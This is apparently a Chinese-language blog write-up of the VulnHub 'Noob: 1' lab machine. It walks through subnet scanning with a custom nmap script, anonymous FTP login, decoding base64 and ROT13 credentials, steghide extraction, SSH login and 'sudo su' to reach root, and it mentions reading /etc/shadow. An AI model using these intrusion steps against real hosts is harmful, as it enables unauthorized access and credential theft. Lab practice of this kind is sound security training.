• vulnhub:Noob: 1(拿下的第一台靶机)


    一、寻找目标主机(信息收集)

    因为目标主机和我们在同一个网段,我们可以扫描一一下我们的网卡

    首先使用 ipconfig -a 来查看我们的网卡信息

    扫描是什么?

    扫描一个网段下所有机器的IP和常用端口,比如:

    • 192.168.1.1,路由器开着80、443
    • 192.168.1.100你的电脑,开着22
    • 192.168.1.101不认识的设备,开着3389

    是“横向”扫一台机器,而不是“纵向”扫一台机器的全部端口。


    为什么需要比较?

    因为单次扫描只是一张快照,看不出变化。对比两天的结果才能发现:

    发现的异常 意味着什么
    突然多了一台新设备 有人私接设备,或有入侵者
    某台机器突然打开新端口 可能被入口后门、木马
    某台机器消失了 设备下线或被攻击瘫痪

    扫描脚本:

    #!/bin/bash
    
    SCRIPT_DIR=$(dirname "$(realpath "$0")")
    
    # 获取本机信息
    IFACE=$(ip route | awk '/default/ {print $5}' | head -1)
    LOCAL_IP=$(ip -4 addr show "$IFACE" | awk '/inet / {print $2}' | cut -d'/' -f1)
    SUBNET=$(echo "$LOCAL_IP" | cut -d'.' -f1-3)".0/24"
    
    SCAN_DIR=~/nmap_diff
    mkdir -p "$SCAN_DIR"
    
    d=$(date +%Y-%m-%d)
    y=$(date -d yesterday +%Y-%m-%d)
    
    echo ""
    echo "正在扫描网段: $SUBNET ..."
    echo ""
    
    /usr/bin/nmap -T4 -oX "$SCAN_DIR/scan_$d.xml" "$SUBNET" >/dev/null 2>&1
    
    parse_host() {
        local xml="$1"
        python3 - "$xml" <<'EOF'
    import sys
    import xml.etree.ElementTree as ET
    
    tree = ET.parse(sys.argv[1])
    root = tree.getroot()
    
    hosts = []
    for host in root.findall('host'):
        status = host.find('status')
        if status is None or status.get('state') != 'up':
            continue
        addr_el = host.find('address')
        if addr_el is None:
            continue
        addr = addr_el.get('addr')
        ports = []
        ports_el = host.find('ports')
        if ports_el is not None:
            for port in ports_el.findall('port'):
                state_el = port.find('state')
                if state_el is not None and state_el.get('state') == 'open':
                    ports.append(port.get('portid'))
        hosts.append((addr, ports))
    
    for addr, ports in hosts:
        port_str = ', '.join(ports) if ports else '无开放端口'
        print(f"{addr}|{port_str}")
    EOF
    }
    
    RESULTS=$(parse_host "$SCAN_DIR/scan_$d.xml")
    
    echo "=================================================="
    printf "%-18s %s\n" "IP地址" "开放端口"
    echo "=================================================="
    
    echo ""
    echo "【本机】"
    echo "--------------------------------------------------"
    while IFS='|' read -r ip ports; do
        if [ "$ip" = "$LOCAL_IP" ]; then
            printf "%-18s %s\n" "$ip" "$ports"
        fi
    done <<< "$RESULTS"
    
    echo ""
    echo "【其他机器】"
    echo "--------------------------------------------------"
    while IFS='|' read -r ip ports; do
        if [ "$ip" != "$LOCAL_IP" ]; then
            printf "%-18s %s\n" "$ip" "$ports"
        fi
    done <<< "$RESULTS"
    
    echo "=================================================="
    echo ""
    
    if [ -e "$SCAN_DIR/scan_$y.xml" ]; then
        /usr/bin/ndiff "$SCAN_DIR/scan_$y.xml" "$SCAN_DIR/scan_$d.xml" > "$SCRIPT_DIR/diff.txt"
        echo "[变动记录已保存到 $SCRIPT_DIR/diff.txt]"
        echo ""
    fi
    

    结果

    ┌──(kali㉿kali)-[~/桌面]
    └─$ ./nampsm.sh  
    
    正在扫描网段: 192.168.75.0/24 ...
    
    ==================================================
    IP地址           开放端口
    ==================================================
    
    【本机】
    --------------------------------------------------
    192.168.75.*    22
    
    【其他机器】
    --------------------------------------------------
    192.168.75.1       135, 2179, 3306
    192.168.75.2       53
    192.168.75.254     无开放端口
    ==================================================
    

    192.168.75.1 — VMware 虚拟带宽(占用机)

    端口 作用
    135 Windows RPC
    2179 Hyper-V虚拟机连接(你一台机器安装了Hyper-V 或 VMware)
    3306 MySQL,你一台机器上安装了数据库

    就是你运行VMware的那台Windows物理机


    192.168.75.2 — VMware DNS/DHCP 服务

    端口 作用
    53 DNS解析

    VMware自动创建的虚拟服务,负责给虚拟机分配IP和解析域名,不是真实的机器


    192.168.75.254 — VMware NAT 网关

    负责把虚拟机的流量转发到外网,虚拟路由器,也不是真实的机器

    21 FTP 文件传输服务,可能存在匿名登录、弱密码
    80 HTTP 跑着一个网站,可能存在Web漏洞

    # 看看网站是什么
    curl http://192.168.75.*
    
    # 试试 FTP 匿名登录
    ftp 192.168.75.*
    # 用户名输 anonymous,密码直接回车
    
    
    ftp 192.168.75.*
    # 用户名: anonymous
    # 密码: 直接回车
    Connected to 192.168.75.*.
    220 (vsFTPd 3.0.3)
    Name (192.168.75.*:kali): anonymous
    331 Please specify the password.
    Password: 
    230 Login successful.
    Remote system type is UNIX.
    Using binary mode to transfer files.
    ftp> ls
    229 Entering Extended Passive Mode (|||15579|)
    150 Here comes the directory listing.
    -rw-r--r--    1 0        0              21 Sep 21  2021 cred.txt
    -rw-r--r--    1 0        0              86 Jun 11  2021 welcome
    226 Directory send OK.
    ftp> cat cred.txt
    ?Invalid command.
    ftp> cat welcome
    ?Invalid command.
    ftp> 
    
    
    
    
    
    为什么ftp没有cat
    
    FTP 是文件传输协议,不是 Shell,它只能进行文件操作,不能执行命令。
    
    
    可能到这里会有疑问cat vim不也是对文件操作吗
    
    好问题,区别在于哪里执行、执行的是什么。
    cat/vim是程序,需要操作系统来运行:
    你输入 cat → Linux内核 → 读文件内容 → 输出到终端
    FTP 是网络协议,只定义了几条固定指令:
    你输入 get → FTP服务 → 把文件传过来
    FTP服务收到cat这两个字母,它不知道该做什么,因为协议里根本没有定义这条指令。
    
    
    有两个文件
    
    一个是提示,还有一个是网站的账户密码
    
    
    ┌──(kali㉿kali)-[~/桌面]
    └─$ cat cred.txt              
    Y2hhbXA6cGFzc3dvcmQ=
                                                                                                                                                                                                            
    ┌──(kali㉿kali)-[~/桌面]
    └─$ cat welcome       
                            🙏 WELCOME 🙏
    
                      We're glad to see you here.
    
                          💪 All The Best 👍
                                                                                                                                                                                                            
    ┌──(kali㉿kali)-[~/桌面]
    └─$ echo "Y2hhbXA6cGFzc3dvcmQ=" | base64 -d
    champ:password      
    
     http://192.168.75.* 登录 champ:password 
    
    然后网站上有下载附件(一个压缩包)
    downloads:funny.bmp,funny.jpg,sudo
    
    
    
    ┌──(kali㉿kali)-[~/下载/downloads]
    └─$ file sudo        # 看是什么类型的文件
    cat sudo         # 如果是文本就直接看内容
    sudo: ASCII text
    Did you notice the file name? Isn't is interesting?
    你注意到文件名了吗?是不是很有趣?
    这个提示后面有用
                                                                                                                                                                                                 
    ┌──(kali㉿kali)-[~/下载/downloads]
    └─$ # 安装 steghide
    sudo apt install steghide
    
    
    测图片隐写
    
    ┌──(kali㉿kali)-[~/下载/downloads]
    └─$ steghide extract -sf funny.jpg
    
    Enter passphrase: 
    wrote extracted data to "hint.py".   这个是空密码
    
    hint.py:
    
    This is_not a python file but you are revolving around.
    well, try_ to rotate some words too.
    
    
    提示rot13
    
    
    
    ┌──(kali㉿kali)-[~/下载/downloads]
    └─$  steghide extract -sf funny.bmp
    Enter passphrase: 
    wrote extracted data to "user.txt".  这个是sudo “你注意到文件名了吗?是不是很有趣?”
    
    jgs:guvf bar vf n fvzcyr bar  使用rot13解一下
    
    
    
    ┌──(kali㉿kali)-[~/下载/downloads]
    └─$ echo "jgs:guvf bar vf n fvzcyr bar" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
    wtf:this one is a simple one
    
    到了这里就卡住了,拿到了wtf:this one is a simple one但是没有了利用点
    
    回到开头 我们是拿脚本扫描的(脚本只扫常用端口(nmap 默认扫1000个常用端口),不扫全部 65535 个端口)
    所以还是不要偷懒,尽量使用工具
    ┌──(kali㉿kali)-[~/桌面]
    └─$ ./nampsm.sh
    
    正在扫描网段: 192.168.75.0/24 ...
    
    ==================================================
    IP地址           开放端口
    ==================================================
    
    【本机】
    --------------------------------------------------
    192.168.75.*    22
    
    【其他机器】
    --------------------------------------------------
    192.168.75.1       135, 2179, 3306
    192.168.75.2       53
    192.168.75.*     21, 80
    192.168.75.254     无开放端口
    ==================================================
    
    
    
    
    
    
    
    
    
    RustScan是用Rust编写的高速端口扫描工具,比传统的Nmap快速扫描。
    
    rustscan -a 192.168.75.*
    
    安装 rustscan
    
    wget https://github.com/RustScan/RustScan/releases/download/2.3.0/rustscan_2.3.0_amd64.deb
    sudo dpkg -i rustscan_2.3.0_amd64.deb
    
    -a 192.168.75.*  -a即-addresses,指定要扫描的目标IP地址
    
    
    ──(kali㉿kali)-[~/桌面]
    └─$ rustscan -a 192.168.75.*
    
    
    PORT      STATE SERVICE REASON
    21/tcp    open  ftp     syn-ack ttl 64
    80/tcp    open  http    syn-ack ttl 64
    55077/tcp open  unknown syn-ack ttl 64
    MAC Address: 00:0C:29:5B:0D:51 (VMware)
    
    
    
    通过namp 确定他是什么服务:
    
    
    ──(kali㉿kali)-[~/桌面]
    └─$ nmap -sV -p 55077 192.168.75.*
    Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-16 23:45 CST
    Nmap scan report for 192.168.75.*
    Host is up (0.00067s latency).
    
    PORT      STATE SERVICE VERSION
    55077/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
    MAC Address: 00:0C:29:5B:0D:51 (VMware)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
    
    
    ssh
    
    
    sudo -l
    查当前用户的权
    
    wtf@wtf:~$ sudo -l
    [sudo] password for wtf: 
    Matching Defaults entries for wtf on wtf:
        env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
    
    User wtf may run the following commands on wtf:
        (ALL : ALL) ALL
    wtf@wtf:~$ sudo su
    root@wtf:/home/wtf# cat /root/root.txt
    RW5kb3JzZSBtZSBvbiBsaW5rZWRpbiA9PiBodHRwczovL3d3dy5saW5rZWRpbi5jb20vaW4vZGVlcGFrLWFoZWVyCg==
    
    
    
    
    whoami = who am i(我是谁)
    就是显示当前登录的用户名
    
    
    cat /etc/shadow 能读到内容也说明是 root,因为普通用户没权限读这个文件
    
    
    普通用户 flag  →  /home/用户名/user.txt
    root flag     →  /root/root.txt
    
    
    

    image-20260516235739306

    继续加油!

  • 相关阅读:
    第8章输入输出系统
    [业务设计]-秒杀抢票问题
    9个发展您的B2B业务的LinkedIn营销策略
    Java基于springboot+vue的图书馆网上图书借阅系统 nodejs前后端分离
    Python:实现iterative merge sort迭代归并排序算法(附完整源码)
    shell编程扩展-----bash编程
    Python算法练习 10.14
    目标检测算法之损失函数(IOU、GIOU、DIOU、CIOU、EIOU)
    SpringMvc--文件上传下载
    当使用POI打开Excel文件遇到out of memory时该如何处理?
  • 原文地址:https://www.cnblogs.com/keke444/p/20065245